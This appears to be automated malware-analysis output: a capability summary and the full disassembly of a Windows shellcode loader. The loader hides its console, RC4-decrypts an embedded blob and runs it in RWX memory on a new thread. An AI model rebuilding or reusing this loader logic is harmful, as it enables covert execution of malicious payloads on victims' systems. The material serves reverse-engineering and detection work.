Function at 0x140001020
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Encrypt data using rc4 ksa
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x5d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x5c0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x140003310]
lea rdx, [rsp + 0x240]
movsd xmm0, qword [str.___qwQ156q_4]
mov esi, 6
mov dword [rsp + 0x38], eax
mov ecx, esi
movzx eax, word [0x140003314]
mov word [rsp + 0x3c], ax
lea rax, [0x140003320]
movsd qword [rsp + 0x30], xmm0
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400010a0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rdi, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
lea rax, [rsp + 0x30]
mov byte [rdx + 0x7e], cl
inc rdi
cmp byte [rax + rdi], 0
jne 0x140001152
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x100
xor ebx, ebx
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
xor r9d, r9d
nop dword [rax + rax]
xor edx, edx
mov byte [rsp + r9 + 0x40], r8b
mov eax, r8d
lea r9, [r9 + 1]
div edi
inc r8d
movzx eax, byte [rsp + rdx + 0x30]
mov byte [rsp + r9 + 0x13f], al
cmp r8d, 0x100
jl 0x140001180
xor edx, edx
mov r9d, 0x100
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x140]
movzx r8d, byte [rsp + rdx + 0x40]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400011e5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x40]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x40], al
inc rdx
mov byte [rcx], r8b
sub r9, 1
jne 0x1400011c0
xor edi, edi
lea r14, [0x140005670]
nop dword [rax]
movzx ebx, byte [rsp + rdi + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rdi + r14], bl
call fcn.140001440
mov rcx, rax
lea rdx, section..text
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
call fcn.1400015f0
inc rdi
cmp rdi, 0x100
jl 0x140001210
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400017b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx edx, byte [rsp + 0x41]
xor r9d, r9d
movzx r8d, dl
movzx eax, byte [rsp + r8 + 0x40]
mov byte [rsp + 0x41], al
mov byte [rsp + r8 + 0x40], r8b
movzx edx, byte [rsp + 0x41]
lea rcx, [r8 + rdx]
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x40]
xor byte [rsp + r9 + 0x240], cl
inc r9
cmp r9, 0x37f
jb 0x140001270
xor ecx, ecx
mov edx, 0x37f
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x240]
mov rcx, rax
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x1400012d0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
xor r9d, r9d
movups xmm1, xmmword [rdx + 0x10]
mov qword [rsp + 0x28], rsi
movups xmmword [rcx], xmm0
mov dword [rsp + 0x20], esi
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
xor edx, edx
mov byte [rcx + 0x7e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x5c0]
xor rcx, rsp
call fcn.140001800
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret